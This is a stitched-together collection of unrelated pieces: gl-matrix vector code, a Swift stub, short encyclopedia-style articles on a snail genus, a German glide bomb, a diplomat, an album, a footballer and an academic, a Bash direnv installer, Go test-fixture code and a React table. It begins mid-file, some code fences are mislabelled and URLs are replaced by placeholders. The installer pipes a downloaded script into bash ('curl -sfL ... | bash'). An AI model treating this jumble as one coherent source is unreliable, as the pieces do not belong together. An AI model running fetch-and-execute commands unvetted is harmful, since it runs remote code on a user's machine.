to transform * @param {ReadonlyMat2d} m matrix to transform with * @returns {vec2} out */ function transformMat2d(out, a, m) { var x = a[0], y = a[1]; out[0] = m[0] * x + m[2] * y + m[4]; out[1] = m[1] * x + m[3] * y + m[5]; return out; } /** * Transforms the vec2 with a mat3 * 3rd vector component is implicitly '1' * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the vector to transform * @param {ReadonlyMat3} m matrix to transform with * @returns {vec2} out */ function transformMat3(out, a, m) { var x = a[0], y = a[1]; out[0] = m[0] * x + m[3] * y + m[6]; out[1] = m[1] * x + m[4] * y + m[7]; return out; } /** * Transforms the vec2 with a mat4 * 3rd vector component is implicitly '0' * 4th vector component is implicitly '1' * * @param {vec2} out the receiving vector * @param {ReadonlyVec2} a the vector to transform * @param {ReadonlyMat4} m matrix to transform with * @returns {vec2} out */ function transformMat4(out, a, m) { var x = a[0]; var y = a[1]; out[0] = m[0] * x + m[4] * y + m[12]; out[1] = m[1] * x + m[5] * y + m[13]; return out; } /** * Rotate a 2D vector * @param {vec2} out The receiving vec2 * @param {ReadonlyVec2} a The vec2 point to rotate * @param {ReadonlyVec2} b The origin of the rotation * @param {Number} rad The angle of rotation in radians * @returns {vec2} out */ function rotate(out, a, b, rad) { //Translate point to the origin var p0 = a[0] - b[0], p1 = a[1] - b[1], sinC = Math.sin(rad), cosC = Math.cos(rad); //perform rotation and translate to correct position out[0] = p0 * cosC - p1 * sinC + b[0]; out[1] = p0 * sinC + p1 * cosC + b[1]; return out; } /** * Get the angle between two 2D vectors * @param {ReadonlyVec2} a The first operand * @param {ReadonlyVec2} b The second operand * @returns {Number} The angle in radians */ function angle(a, b) { var x1 = a[0], y1 = a[1], x2 = b[0], y2 = b[1], // mag is the product of the magnitudes of a and b mag = Math.sqrt((x1 * x1 + y1 * y1) * (x2 * x2 + y2 * y2)), // mag &&.. short circuits if mag == 0 cosine = mag && (x1 * x2 + y1 * y2) / mag; // Math.min(Math.max(cosine, -1), 1) clamps the cosine between -1 and 1 return Math.acos(Math.min(Math.max(cosine, -1), 1)); } /** * Set the components of a vec2 to zero * * @param {vec2} out the receiving vector * @returns {vec2} out */ function zero(out) { out[0] = 0.0; out[1] = 0.0; return out; } /** * Returns a string representation of a vector * * @param {ReadonlyVec2} a vector to represent as a string * @returns {String} string representation of the vector */ function str(a) { return "vec2(" + a[0] + ", " + a[1] + ")"; } /** * Returns whether or not the vectors exactly have the same elements in the same position (when compared with ===) * * @param {ReadonlyVec2} a The first vector. * @param {ReadonlyVec2} b The second vector. * @returns {Boolean} True if the vectors are equal, false otherwise. */ function exactEquals(a, b) { return a[0] === b[0] && a[1] === b[1]; } /** * Returns whether or not the vectors have approximately the same elements in the same position. * * @param {ReadonlyVec2} a The first vector. * @param {ReadonlyVec2} b The second vector. * @returns {Boolean} True if the vectors are equal, false otherwise. */ function equals(a, b) { var a0 = a[0], a1 = a[1]; var b0 = b[0], b1 = b[1]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)); } /** * Alias for {@link vec2.length} * @function */ var len = length; /** * Alias for {@link vec2.subtract} * @function */ var sub = subtract; /** * Alias for {@link vec2.multiply} * @function */ var mul = multiply; /** * Alias for {@link vec2.divide} * @function */ var div = divide; /** * Alias for {@link vec2.distance} * @function */ var dist = distance; /** * Alias for {@link vec2.squaredDistance} * @function */ var sqrDist = squaredDistance; /** * Alias for {@link vec2.squaredLength} * @function */ var sqrLen = squaredLength; /** * Perform some operation over an array of vec2s. * * @param {Array} a the array of vectors to iterate over * @param {Number} stride Number of elements between the start of each vec2. If 0 assumes tightly packed * @param {Number} offset Number of elements to skip at the beginning of the array * @param {Number} count Number of vec2s to iterate over. If 0 iterates over entire array * @param {Function} fn Function to call for each vector in the array * @param {Object} [arg] additional argument to pass to fn * @returns {Array} a * @function */ var forEach = function () { var vec = create(); return function (a, stride, offset, count, fn, arg) { var i, l; if (!stride) { stride = 2; } if (!offset) { offset = 0; } if (count) { l = Math.min(count * stride + offset, a.length); } else { l = a.length; } for (i = offset; i < l; i += stride) { vec[0] = a[i]; vec[1] = a[i + 1]; fn(vec, vec, arg); a[i] = vec[0]; a[i + 1] = vec[1]; } return a; }; }(); var vec2 = /*#__PURE__*/Object.freeze({ __proto__: null, create: create, clone: clone, fromValues: fromValues, copy: copy, set: set, add: add, subtract: subtract, multiply: multiply, divide: divide, ceil: ceil, floor: floor, min: min, max: max, round: round, scale: scale, scaleAndAdd: scaleAndAdd, distance: distance, squaredDistance: squaredDistance, length: length, squaredLength: squaredLength, negate: negate, inverse: inverse, normalize: normalize, dot: dot, cross: cross, lerp: lerp, random: random, transformMat2: transformMat2, transformMat2d: transformMat2d, transformMat3: transformMat3, transformMat4: transformMat4, rotate: rotate, angle: angle, zero: zero, str: str, exactEquals: exactEquals, equals: equals, len: len, sub: sub, mul: mul, div: div, dist: dist, sqrDist: sqrDist, sqrLen: sqrLen, forEach: forEach }); exports.glMatrix = common; exports.mat2 = mat2; exports.mat2d = mat2d; exports.mat3 = mat3; exports.mat4 = mat4; exports.quat = quat; exports.quat2 = quat2; exports.vec2 = vec2; exports.vec3 = vec3; exports.vec4 = vec4; Object.defineProperty(exports, '__esModule', { value: true }); })); ```
```swift import UIKit @UIApplicationMain class AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow? } ```
Lucapina is a genus of sea snails, marine gastropod mollusks in the family Fissurellidae, the keyhole limpets. Species Species within the genus Lucapina include: Lucapina adspersa (Philippi, 1845) Lucapina aegis (Reeve, 1850) Lucapina elisae Costa & Simone, 2006 Lucapina eolis Pérez Farfante, 1945 Lucapina philippiana (Finlay, 1930) Lucapina sowerbii (Sowerby, 1835) Lucapina suffusa (Reeve, 1850) Species brought into synonymy Lucapina adspersa auct. non Philippi, 1845: synonym of Lucapina sowerbii (Sowerby, 1835) Lucapina cayenensis Lamarck, 1822: synonym of Diodora cayenensis (Lamarck, 1822) Lucapina elegans Sowerby, 1835: synonym of Lucapina sowerbii (Sowerby, 1835) Lucapina fasciata Dall, 1884: synonym of Lucapina sowerbii (Sowerby, 1835) Lucapina harrassowitzi Ihering, 1927: synonym of Diodora harrassowitzi (Ihering, 1927) Lucapina itapema Ihering, 1927: synonym of Fissurella rosea (Gmelin, 1791) Lucapina limatula Reeve, 1850: synonym of Lucapinella limatula (Reeve, 1850) Lucapina meta Ihering, 1927: synonym of Diodora meta (Ihering, 1927) Lucapina monilifera Hutton, 1873: synonym of Monodilepas monilifera (Hutton, 1873) Lucapina textaranea Olsson & Harbison, 1953 : synonym of Lucapina suffusa (Reeve, 1850) Lucapina tobagoensis Pérez Farfante, 1945: synonym of Lucapina suffusa (Reeve, 1850) References Vaught, K.C. (1989). A classification of the living Mollusca. American Malacologists: Melbourne, FL (USA). . XII, 195 pp. Rolán E., 2005. Malacological Fauna From The Cape Verde Archipelago. Part 1, Polyplacophora and Gastropoda. Fissurellidae
The Blohm & Voss BV 143 was an early prototype rocket-assisted glide bomb developed by the German Luftwaffe during World War II. Design Blohm & Voss designers began to consider airborne missiles late in 1938, even before the outbreak of war. First of these to be developed was the Bv 143, a glide bomb with rocket booster. Trials began in 1939. By 1941, Allied merchant ships were slow and easy targets for German coastal bombers, but were proving increasingly well-equipped with anti-aircraft artillery, making short-range attacks prohibitively costly. Interest was raised in the development of a stand off weapon to engage unarmored merchant ships from beyond the range of the Bofors 40 mm gun. The BV 143 was one of several stand off bomb and missile designs researched by the Blohm & Voss Naval Engineering Works for this anti-shipping role. The Bv 143 was designed to be air-dropped from beyond the range of antiaircraft guns, glide towards the target, engage its solid rocket motor below the line of fire of guns, and commence a short (30 second, maximum) high speed dash to the target, striking above the waterline. The first design, with straight wings and cross-like tail, featured a 2-meter instrumented "feeler probe" suspended from the body, designed to start the rocket on contacting the sea surface. A pitch-only autopilot then maintained the bomb at the 2 m probe length until striking the target. The first working prototypes of this design were completed in February 1941. Tests during 1943 showed the probe-based design to be unworkable and after additional design time it was replaced with a radio altimeter, which although being less fragile also ultimately proved unsatisfactory. The bomb proved consistently unable to reliably maintain altitude stability with either design, with rocket misfires and failures also proving troublesome. After building and testing 157 examples, the project was eventually abandoned in favor of the Henschel Hs 293. Ship-to-ship variant BV 143 B (Schiff-Schiff-Lenkflugkörper) was a late ship-to-ship variant of the BV 143 package. It was designed to launch the missile with an aircraft catapult. Only one test was ever conducted before the program was abandoned. See also Blohm & Voss BV 246 Hagelkorn Blohm & Voss BV 950 Henschel Hs 293 Glide bomb Anti-shipping missile Stand-off missile References World War II guided missiles of Germany Guided bombs Anti-ship missiles of Germany BV 143
Antonio Oscar "Tony" Garza Jr. (born July 7, 1959) is an American lawyer and diplomat who was the United States Ambassador to Mexico from 2002 to 2009 under President George W. Bush. In recognition of his work, Mexico bestowed on him the Águila Azteca, the highest award granted to foreigners, in 2009. Prior to his appointment as ambassador, Garza had served as Secretary of State of Texas from January 1995 to November 1997 and was also chairman of the Texas Railroad Commission. Early life and education Garza was born in Brownsville, Texas, the son of a gasoline station owner and the grandson of Mexican immigrants to the United States. Garza received his Bachelor of Business Administration from the University of Texas at Austin in 1980 and received his Doctor of Jurisprudence in 1983 from Southern Methodist University School of Law. Career After practicing as an attorney, Garza became a judge in Cameron County in 1988. He served as the Texas Secretary of State from January 1995 to November 1997 before later being elected as one of the three member board of the Texas Railroad Commission, where he served as chairman. In 2002, he was appointed U.S. Ambassador to Mexico, a position he held until 2009. In 2009, the year he retired from the office, Garza received the Águila Azteca from Mexico in recognition of his work to strengthen the bonds between Mexico and the United States. This is the highest award that Mexico bestows on foreigners. Thereafter, he took a position as counsel with White & Case LLP and also as chairman of management consultancy firm Vianovo Ventures. Personal life Garza married María Asunción Aramburuzabala, the president of Tresalia Capital who had a personal fortune valued at $1.8 billion, according to one source. The couple divorced in May 2010. He subsequently married Dr Liz Beightler. References External links |- 1959 births Ambassadors of the United States to Mexico American politicians of Mexican descent County judges in Texas Hispanic and Latino American diplomats Living people Members of the Railroad Commission of Texas People from Cameron, Texas Saint Joseph Academy (Brownsville, Texas) alumni Secretaries of State of Texas Southern Methodist University alumni Texas lawyers Texas Republicans
Weird Tales is American band Golden Smog's second album, released in 1998. The title comes from the pulp magazine Weird Tales; the cover art, by Margaret Brundage, is from the October 1933 issue. Reception Writing for AllMusic, music critic Michael Gallucci wrote of the album "...as expected, the best songwriters here (Gary Louris of the Jayhawks and Wilco's Jeff Tweedy) contribute Weird Tales' most solid tracks. A pet project aimed more toward fans of the genre than the casual listener, Golden Smog nonetheless deliver the goods with a good deal of twangy heart and soul." Joshua Klein of The A.V. Club wrote the album "reveals that even a musical goof-off can develop into a potent band in its own right." and called it "a first-rate collaboration that's unified in both vision and spirit." The Washington Post called the group's sound "melodic, economical -- if not especially ambitious -- country-rock." Track listing "To Call My Own" (Dan Murphy) – 3:31 "Looking Forward to Seeing You" (Kraig Johnson) – 2:47 "Until You Came Along" (Gary Louris) – 4:59 "Lost Love" (Jeff Tweedy) – 3:00 "If I Only Had a Car" (Johnson, Louris) – 4:03 "Jane" (Louris, Marc Perlman) – 4:29 "Keys" (Johnson, Louris) – 3:28 "I Can't Keep From Talking" (Tweedy) – 3:50 "Reflections on Me" (Murphy) – 2:53 "Making Waves" (Johnson) – 4:01 "White Shell Road" (Louris) – 4:14 "Please Tell My Brother" (Tweedy) – 2:10 "Fear of Falling" (Jody Stephens, Louris, Tweedy) – 3:31 "All the Same to Me" (Sparks, Tweedy) – 3:05 "Jennifer Save Me" (Louris, Johnson) – 4:47 Personnel Jeff Tweedy – vocals, guitar, bass guitar, harmonica, percussion Gary Louris – vocals, guitar, organ, Mellotron, background vocals Dan Murphy – vocals, guitar, piano, drums, background vocals, Mellotron, Wurlitzer Kraig Johnson – vocals, guitar, bass guitar, piano, background vocals Marc Perlman – guitar, bass guitar, background vocals Jody Stephens – drums, percussion, bells Jim Dickinson – Wurlitzer Jessy Greene – violin, background vocals Jim Boquist – background vocals Jason Orris – background vocals Bryan Hanna – tambourine, background vocals Brian Paulson – Minimoog Production notes Brian Paulson – producer Jason Orris – engineer Bryan Hanna – engineer Pete Matthews – engineer, assistant engineer Jim Scott – mixing Mike Scotella – mixing assistant Steve Marcusson – mastering Chart positions References 1998 albums Golden Smog albums Albums produced by Brian Paulson Rykodisc albums
```shell #!/usr/bin/env bash # vim:ts=4:sts=4:sw=4:et # # Author: Hari Sekhon # Date: 2024-08-10 13:09:20 +0300 (Sat, 10 Aug 2024) # # https///github.com/HariSekhon/DevOps-Bash-tools # # # If you're using my code you're welcome to connect with me on LinkedIn and optionally send me feedback to help steer this or other code I publish # # path_to_url # set -euo pipefail [ -n "${DEBUG:-}" ] && set -x srcdir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" # shellcheck disable=SC1090,SC1091 . "$srcdir/../lib/utils.sh" # shellcheck disable=SC2034,SC2154 usage_description=" Install Direnv using the online install The online install will install direnv to your local user writable \$PATH even if there is a direnv already in the \$PATH This standardized install_<name>.sh script will check for direnv in \$PATH and skip the install if found " # used by usage() in lib/utils.sh # shellcheck disable=SC2034 usage_args="" help_usage "$@" no_args "$@" if type -P direnv &>/dev/null; then echo "direnv is already installed at '$(type -P direnv)', skipping install" exit 0 fi # clean PATH because the direnv installer will write the 'direnv' binary to the first available user writeable path # and we don't want it putting it somewhere like ~/github/bash-tools - mixed in with git repo and scripts PATH="$HOME/bin:$(tr ':' '\n' <<< "$PATH" | grep -e '^/bin' -e '^/usr' | tr '\n' ':' | sed 's/:$//')" export PATH # ensure we have at least one user writable directory mkdir -p -v ~/bin curl -sfL path_to_url | bash echo version="$(direnv version)" echo "Direnv version: $version" ```
```go package trustless_pathing import ( "fmt" "io" "os" "path/filepath" "runtime" "strings" "github.com/ipfs/go-cid" carstorage "github.com/ipld/go-car/v2/storage" "github.com/ipld/go-ipld-prime/storage" "github.com/warpfork/go-testmark" _ "github.com/ipld/go-codec-dagpb" _ "github.com/ipld/go-ipld-prime/codec/raw" ) const file = "/../../transport/trustless-pathing/fixtures/unixfs_20m_variety." func pathToFixture(typ string) string { _, thisFile, _, _ := runtime.Caller(0) pathTo := filepath.Dir(thisFile) + file + typ pathTo = filepath.Clean(pathTo) // convert wd to absolute path, normalizing to / separators pathTo = strings.ReplaceAll(pathTo, "\\", "/") return pathTo } func Unixfs20mVarietyCARPath() string { return pathToFixture("car") } func Unixfs20mVarietyReadableStorage() (storage.ReadableStorage, io.Closer, error) { file := pathToFixture("car") carFile, err := os.Open(file) if err != nil { return nil, nil, err } reader, err := carstorage.OpenReadable(carFile) if err != nil { carFile.Close() return nil, nil, err } return reader, carFile, nil } func Unixfs20mVarietyCases() ([]TestCase, cid.Cid, error) { file := pathToFixture("md") doc, err := testmark.ReadFile(file) if err != nil { return nil, cid.Undef, fmt.Errorf("failed to read testcases: %w", err) } doc.BuildDirIndex() root, err := cid.Parse(dstr(doc.DirEnt, "root")) if err != nil { return nil, cid.Undef, err } testCases := make([]TestCase, 0) for _, test := range doc.DirEnt.Children["test"].ChildrenList { for _, scope := range test.ChildrenList { tc, err := ParseCase(test.Name+"/"+scope.Name, dstr(scope, "query"), dstr(scope, "execution")) if err != nil { return nil, cid.Undef, fmt.Errorf("failed to parse test case %s: %w", test.Name+"/"+scope.Name, err) } testCases = append(testCases, tc) } } return testCases, root, nil } func dstr(dir *testmark.DirEnt, ch string) string { return string(dir.Children[ch].Hunk.Body) } ```
```xml 'use client' import React, { useState } from 'react' import Link from 'next/link' import { Table } from 'antd' import type { ColumnsType } from 'antd/es/table' import { useListUsersQuery, UserData } from './userHooks' import AvatarNameLink from '../AvatarNameLink' import { usePagination } from '../../lib/usePagination' import { DEFAULT_PAGE_SIZE } from '../../../common/pagination' export default function UsersTable({ ...restProps }) { const [selectedForEdit, setSelectedForEdit] = useState<any|null>() const [selectedForDelete, setSelectedForDelete] = useState<any|null>() const [currentPageIndex, setCurrentPageIndex] = useState(0) const [previousPage, setPreviousPage] = useState<any|null>() const listUsersQuery = useListUsersQuery({ page: currentPageIndex, lastEvaluatedKey: previousPage?.lastEvaluatedKey }) const { pages, totalPagedItemsPlusOneIfHasMorePages } = usePagination({ items: listUsersQuery?.data?.data, lastEvaluatedKey: listUsersQuery?.data?.lastEvaluatedKey, currentPageIndex, }) const columns: ColumnsType<UserData> = [{ title: 'Name', dataIndex: 'name', key: 'name', render(name, user) { const { userId } = user const linkText = name || userId return <AvatarNameLink name={linkText} image={user.profilePicture} imageAlt='Profile picture' avatarProps={{ size: 30, style:{ minWidth: 30 }, }} linkRoute={`/users/${userId}`} /> }, }, { title: 'Email', dataIndex: 'email', key: 'email', render(email) { return <a href={`mailto:${email}`} target='_blank' rel='noopener'>{email}</a> }, }] function onPaginate(pageNumber) { const pageNumberIndex = pageNumber - 1 setPreviousPage(pages[pageNumberIndex - 1]) setCurrentPageIndex(pageNumberIndex) } return ( <> <Table loading={listUsersQuery.isLoading} dataSource={listUsersQuery.data?.data} rowKey='userId' size='small' columns={columns} pagination={{ position: ['bottomRight'], pageSize: DEFAULT_PAGE_SIZE, onChange: onPaginate, total: totalPagedItemsPlusOneIfHasMorePages, }} // scroll={{ x: 400 }} {...restProps} /> <style jsx global>{` .ant-table-wrapper .ant-table.ant-table-small .ant-table-tbody .ant-table-wrapper:only-child .ant-table { margin: 0;} `}</style> </> ) } ```
Frank Conover (born April 6, 1968) is a former American football defensive tackle. He played for the Cleveland Browns in 1991. He was drafted by the Browns in the eighth round of the 1991 NFL Draft. References 1968 births Living people American football defensive tackles Syracuse Orange football players Cleveland Browns players People from Manalapan Township, New Jersey Players of American football from Monmouth County, New Jersey
```javascript Explicit setting of `this` using `call` and `apply` methods Function constructor vs. function declaration vs. function expression Functions can be declared after use `.bind()` Move cursor at the end of text input ```
John Uhr is a Professor of Political Science in the School of Politics and International Relations at the Australian National University. Education Uhr has an Undergraduate degree (1972) from the University of Queensland, and graduate degrees (1974, 1979) from the University of Toronto, Canada. Career Having graduated with his doctorate in 1979, Uhr joined the Commonwealth Parliamentary Library as the 1980-81 Parliamentary Fellow. In 1990, Uhr joined the Australian National University as a lecturer in the Graduate School of Public Policy. In 2007, he was appointed Director of the Policy and Governance Program at the Crawford School of Public Policy, Australian National University. As of 2016, Uhr lectures in latter-year politics courses on political theory, 'Ideas in Australian Politics' and conceptions of 'Justice'. Uhr also supervises PhD students in the areas of Australian Politics, Parliamentary Studies and Government Ethics. As the Inaugural Director for the Centre for the Study of Australian Politics at the ANU, Uhr is a point of contact for a broad network of academics studying Australian politics. Media Uhr's public profile as a senior member of Australia's top Political Science department, the School of Politics at the Australian National University, leads to his comments frequently being reported in popular media. Published works John Uhr with David Headon, Eureka: Australia's Greatest Story (Sydney: The Federation Press, 2015) John Uhr, Terms of Trust: Arguments over ethics in Australian governments (Sydney: University of New South Wales Press, 2005) John Uhr, The Australian Republic: The Case for Yes (Sydney: The Federation Press, 1999) John Uhr, Deliberative Democracy in Australia: The Changing Place of Parliament (Cambridge: Cambridge University Press, 1998) John Uhr (ed.), Ethical Practice in Government: Improving Organisational Management (Canberra: Federalism Research Centre, 1996) John Uhr, Program Evaluation: Decision Making in Australian Government (Canberra: Federalism Research Centre, 1991) References External links ANU Biography Living people Academic staff of the Australian National University University of Queensland alumni University of Toronto alumni Year of birth missing (living people) Australian political scientists